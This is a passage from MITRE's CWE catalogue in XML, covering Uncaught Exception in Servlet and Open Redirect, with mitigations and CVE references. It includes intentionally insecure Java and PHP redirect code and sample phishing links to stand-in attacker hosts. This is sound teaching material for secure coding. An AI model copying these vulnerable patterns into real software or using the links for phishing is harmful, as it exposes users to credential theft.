					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="600" Name="Uncaught Exception in Servlet " Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The Servlet does not catch all exceptions, which may reveal
					sensitive debugging information.</Description_Summary>
				        <Extended_Description>
					          <Text>When a Servlet throws an exception, the default error response the Servlet
						container sends back to the user typically includes debugging information.
						This information is of great value to an attacker. For example, a stack
						trace might show the attacker a malformed SQL query string, the type of
						database being used, and the version of the application container. This
						information enables the attacker to target known vulnerabilities in these
						components.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>248</Relationship_Target_ID>
					          <!--Uncaught Exception-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>209</Relationship_Target_ID>
					          <!--Information Exposure Through an Error Message-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>390</Relationship_Target_ID>
					          <!--Detection of Error Condition Without Action-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>851</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 06 - Exceptional Behavior (ERR)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>889</Relationship_Target_ID>
					          <!--SFP Cluster: Exception Management-->
				</Relationship>
			      </Relationships>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>The "Missing Catch Block" concept is probably broader than just Servlets,
						but the broader concept is not sufficiently covered in CWE.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Missing Catch Block</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Implement Exception blocks to handle all types of Exceptions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-39">
					          <Intro_Text>In the following method a DNS lookup failure will cause the Servlet
						to throw an exception.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>protected void doPost (HttpServletRequest req, HttpServletResponse
								res) throws IOException {</Code>
							              <Block>
								                <Code>String ip = req.getRemoteAddr();</Code>
								                <Code>InetAddress addr = InetAddress.getByName(ip);</Code>
								                <Code>...</Code>
								                <Code>out.println("hello " + addr.getHostName());</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not allow exceptions to expose sensitive
						information</Mapped_Node_Name>
					          <Mapped_Node_ID>ERR01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Description, Maintenance_Notes,
						Name, Other_Notes, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Missing Catch
						Block</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Catch All
						Exceptions (Missing Catch Block)</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2010-12-13">Failure to Catch All
						Exceptions in Servlet </Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="601" Name="URL Redirection to Untrusted Site ('Open Redirect')" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A web application accepts a user-controlled input that
					specifies a link to an external site, and uses that link in a Redirect. This
					simplifies phishing attacks.</Description_Summary>
				        <Extended_Description>
					          <Text>An http parameter may contain a URL value and could cause the web
						application to redirect the request to the specified URL. By modifying the
						URL value to a malicious site, an attacker may successfully launch a
						phishing scam and steal user credentials. Because the server name in the
						modified link is identical to the original site, phishing attempts have a
						more trustworthy appearance.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>864</Relationship_Target_ID>
					          <!--2011 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>801</Relationship_Target_ID>
					          <!--2010 Top 25 - Insecure Interaction Between Components-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>610</Relationship_Target_ID>
					          <!--Externally Controlled Reference to a Resource in Another Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>442</Relationship_Target_ID>
					          <!--Web Problems-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>722</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A1 - Unvalidated Input-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>819</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
				        <Architectural_Paradigms>
					          <Architectural_Paradigm Architectural_Paradigm_Name="Web-based"/>
				        </Architectural_Paradigms>
			      </Applicable_Platforms>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Phishing is a general term for deceptive attempts to coerce private
						information from users that will be used for identity theft.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Open Redirect</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Cross-site Redirect</Term>
				        </Alternate_Term>
				        <Alternate_Term>
					          <Term>Cross-domain Redirect</Term>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Low to Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> The user may be redirected to an untrusted page that contains malware
							which may then compromise the user's machine. This will expose the user
							to extensive risk and the user's interaction with the web server may
							also be compromised if the malware conducts keylogging or other attacks
							that steal credentials, personally identifiable information (PII), or
							other important data. </Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text> The user may be subjected to phishing attacks by being redirected to
							an untrusted page. The phishing attack may point to an attacker
							controlled web page that appears to be a trusted web site. The phishers
							may then steal the user's credentials and then use these credentials to
							access the legitimate web site.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-10">
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Since this weakness does not typically appear frequently within a
							single software package, manual white box techniques may be able to
							provide sufficient code coverage and reduction of false positives if all
							potentially-vulnerable operations can be assessed within limited time
							constraints.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Dynamic Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated black box tools that supply URLs to every input may be able
							to spot Location header modifications, but test case coverage is a
							factor, and custom redirects may not be detected. </Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Automated Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated static analysis tools may not be able to determine whether
							input influences the beginning of a URL, which is important for reducing
							false positives.</Text>
					          </Method_Description>
				        </Detection_Method>
				        <Detection_Method>
					          <Method_Name>Other</Method_Name>
					          <Method_Description>
						            <Text>Whether this issue poses a vulnerability will be subject to the
							intended behavior of the application. For example, a search engine might
							intentionally provide redirects to arbitrary URLs.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>Use a whitelist of approved URLs or domains to be used for
							redirection.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use an intermediate disclaimer page that provides the user with a
							clear warning that they are leaving the current site. Implement a long timeout
							before the redirect occurs, or force the user to click on the link. Be
							careful to avoid XSS problems (CWE-79) when generating the disclaimer
							page.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-21.2">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When the set of acceptable objects, such as filenames or URLs, is
							limited or known, create a mapping from a set of fixed input values
							(such as numeric IDs) to the actual filenames or URLs, and reject all
							other inputs.</Text>
						            <Text>For example, ID 1 could map to "/login.asp" and ID 2 could map to
							"http://www.example.com/". Features such as the ESAPI AccessReferenceMap
							[R.601.4] provide this capability.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Ensure that no externally-supplied requests are honored by requiring
							that all redirect requests include a unique nonce generated by the
							application [R.601.1]. Be sure that the nonce is not predictable
							(CWE-330).</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness_Notes>
						            <Text>Note that this can be bypassed using XSS (CWE-79).</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Understand all the potential areas where untrusted inputs can enter
							your software: parameters or arguments, cookies, anything read from the
							network, environment variables, reverse DNS lookups, query results,
							request headers, URL components, e-mail, files, filenames, databases,
							and any external systems that provide data to the application. Remember
							that such inputs may be obtained indirectly through API calls.</Text>
						            <Text>Many open redirect problems occur because the programmer assumed that
							certain inputs could not be modified, such as cookies and hidden form
							fields.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-29">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Firewall</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an application firewall that can detect attacks against this
							weakness. It can be beneficial in cases in which the code cannot be
							fixed (because it is controlled by a third party), as an emergency
							prevention measure while more comprehensive software assurance measures
							are applied, or to provide defense in depth.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>An application firewall might not cover all possible input vectors. In
							addition, attack techniques might be available to bypass the protection
							mechanism, such as using malformed inputs that can still be processed by
							the component that receives those inputs. Depending on functionality, an
							application firewall might inadvertently reject or modify legitimate
							requests. Finally, some manual effort may be required for
							customization.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code obtains a URL from the query string and then
						redirects the user to that URL. </Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$redirect_url = $_GET['url'];</Code>
							              <Code>header("Location: " . $redirect_url);</Code>
						            </Block>
						            <Text>The problem with the above code is that an attacker could use this
							page as part of a phishing scam by redirecting users to a malicious
							site. For example, assume the above code is in the file example.php. An
							attacker could supply a user with the following link:</Text>
						            <Block Block_Nature="Attack">
							              <Code> http://example.com/example.php?url=http://malicious.example.com
							</Code>
						            </Block>
						            <Text>The user sees the link pointing to the original trusted site
							(example.com) and does not realize the redirection that could take
							place. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code is a Java servlet that will receive a GET request
						with a url parameter in the request to redirect the browser to the address
						specified in the url parameter. The servlet will retrieve the url parameter
						value from the request and send a response to redirect the browser to the
						url address.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class RedirectServlet extends HttpServlet {</Code>
							              <Code/>
							              <Block>
								                <Code>protected void doGet(HttpServletRequest request,
									HttpServletResponse response) throws ServletException,
									IOException {</Code>
								                <Block>
									                  <Code>String query = request.getQueryString();</Code>
									                  <Code>if (query.contains("url")) {</Code>
									                  <Block>
										                    <Code>String url = request.getParameter("url");</Code>
										                    <Code>response.sendRedirect(url); </Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The problem with this Java servlet code is that an attacker could use
							the RedirectServlet as part of a e-mail phishing scam to redirect users
							to a malicious site. An attacker could send an HTML formatted e-mail
							directing the user to log into their account by including in the e-mail
							the following link:</Text>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>HTML</Code_Example_Language>
							              <Code>&lt;a
								href="http://bank.example.com/redirect?url=http://attacker.example.net"&gt;Click
								here to log in&lt;/a&gt;</Code>
						            </Block>
						            <Text>The user may assume that the link is safe since the URL starts with
							their trusted bank, bank.example.com. However, the user will then be
							redirected to the attacker's web site (attacker.example.net) which the
							attacker may have made to appear very similar to bank.example.com. The
							user may then unwittingly enter credentials into the attacker's web page
							and compromise their bank account. A Java servlet should never redirect
							a user to a URL without verifying that the redirect address is a trusted
							site.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4206</Observed_Example_Reference>
					          <Observed_Example_Description>URL parameter loads the URL into a frame and
						causes it to appear to be part of a valid
						page.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4206</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2951</Observed_Example_Reference>
					          <Observed_Example_Description>An open redirect vulnerability in the search
						script in the software allows remote attackers to redirect users to
						arbitrary web sites and conduct phishing attacks via a URL as a parameter to
						the proper function.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2951</Observed_Example_Link>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-2052</Observed_Example_Reference>
					          <Observed_Example_Description>Open redirect vulnerability in the software allows
						remote attackers to redirect users to arbitrary web sites and conduct
						phishing attacks via a URL in the proper
						parameter.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2052</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Local_Reference_ID="R.601.1">
					          <Reference_Author>Craig A. Shue</Reference_Author>
					          <Reference_Author>Andrew J. Kalafut</Reference_Author>
					          <Reference_Author>Minaxi Gupta</Reference_Author>
					          <Reference_Title>Exploitable Redirects on the Web: Identification, Prevalence,
						and Defense</Reference_Title>
					          <Reference_Link>http://www.cs.indiana.edu/cgi-pub/cshue/research/woot08.pdf</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.601.2">
					          <Reference_Author>Russ McRee</Reference_Author>
					          <Reference_Title>Open redirect vulnerabilities: definition and
						prevention</Reference_Title>
					          <Reference_Section>Page 43</Reference_Section>
					          <Reference_Edition>Issue 17</Reference_Edition>
					          <Reference_Publication>(IN)SECURE</Reference_Publication>
					          <Reference_PubDate>July 2008</Reference_PubDate>
					          <Reference_Link>http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf</Reference_Link>
				        </Reference>
				        <Reference Local_Reference_ID="R.601.3">
					          <Reference_Author>Jason Lam</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 23 - Open Redirect</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-25</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/25/top-25-series-–-rank-23-–-open-redirect/</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.601.4">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="Anonymous Tool Vendor (under NDA)">
					          <Mapped_Node_Name/>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>URl Redirector Abuse </Mapped_Node_Name>
					          <Mapped_Node_ID>38</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>194</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>Anonymous Tool Vendor (under NDA)</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Background_Details, Description,
						Detection_Factors, Likelihood_of_Exploit, Name, Relationships,
						Observed_Example, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-03</Modification_Date>
					          <Modification_Comment>updated References and
						Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Observed_Examples,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Detection_Factors,
						Likelihood_of_Exploit, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Detection_Factors, Potential_Mitigations, Related_Attack_Patterns,
						Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
